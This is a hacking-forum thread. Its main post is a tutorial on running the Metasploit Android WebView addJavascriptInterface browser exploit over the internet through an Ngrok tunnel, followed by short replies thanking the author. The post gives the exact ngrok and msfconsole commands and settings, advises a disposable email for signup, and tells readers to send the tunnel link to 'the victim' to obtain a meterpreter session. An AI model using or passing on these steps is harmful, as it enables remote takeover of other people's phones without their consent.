Tutorial Use Metasploit on WAN without Port Forwarding

Tutorial Use Metasploit on WAN without Port Forwarding - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Network Hacking (https://sinister.ly/Forum-Network-Hacking)
+--- Thread: Tutorial Use Metasploit on WAN without Port Forwarding (/Thread-Tutorial-Use-Metasploit-on-WAN-without-Port-Forwarding)

Use Metasploit on WAN without Port Forwarding - D@rk TruTH - 06-05-2017

USE METASPLOIT ON WAN WITHOUT PORT FORWARDING

Setting Ngrok

First of all, we start with creating account at Ngrok.com
Use any disposable email service to sign up.
After signing up, log in to Ngrok.com and download the ngrok file.
Now extract the file and open terminal in that folder.
Log in again to your ngrok account and type the commands available on that page.
Copy the authentication code command and paste in the terminal.

Quote:./ngrok authtoken your_authentication_code

With the above command, the authentication code will be saved in your computer.
Now type the following command to start the tunnel.

Quote:./ngrok http 4431

Now the ngrok will start a tunnel to your computer. Copy the Ngrok URL we will need this URL later in this tutorial. Also remember the port in above command.

Using Metasploit with Ngrok

For this tutorial, we are using Android web view exploit.
Open terminal and type msfconsole.
Now type the following command to load Android web view exploit.

Quote:use exploit/android/browser/webview_addjavascriptinterface

[Image: Screenshot%2Bfrom%2B2017-06-02%2B23-04-57.png]

Now while setting SRVHOST and LHOST use localhost.

Quote:set srvhost localhost
set lhost localhost

In SRVPORT we will use same port that we have used while starting ngrok .i.e 4431.

Quote:set srvport 4431

Now set URIPATH to /. Use the following commands.

Quote:set uripath /

Above three steps are most important, so don't change the values.
Then enter run to start exploit.
Now you can send the link that you have got when you started Ngrok to the victim and you we be able to get the meterpreter session over the internet

Video Tutorials:

Using Social Engineering Kit Over WAN without port forward
Using Metasploit Over WAN without port forward
Use Metasploit Payloads over WAN using Ngrok

NOTE

Don't change the values of srvhost, lhost and uripath.
Make sure srvport and port you set while starting ngrok are same.
Only for educational purpose.

RE: Use Metasploit on WAN without Port Forwarding - Pikami - 06-05-2017

Thank you!
I needed this.

RE: Use Metasploit on WAN without Port Forwarding - mothered - 06-05-2017

It's great that you've added the Images, It makes It all the more easy to follow and understand.

A well documented HQ tut.
Good work.
EDIT: Typo.

RE: Use Metasploit on WAN without Port Forwarding - Bish0pQ - 06-06-2017

Another very nice tutorial. Always love reading them, good documented and detailed. One of the few members that still posts valuable, good documented tutorials.

RE: Use Metasploit on WAN without Port Forwarding - Cyber Warrior - 06-18-2017

Very nice tutorial you got there, good job my friend and thank you for sharing.

RE: Use Metasploit on WAN without Port Forwarding - --null-- - 09-22-2017

posting so i can follow this thread

RE: Use Metasploit on WAN without Port Forwarding - Synthx - 09-22-2017

This is very interesting. I have been needing something like this very much. Thanks!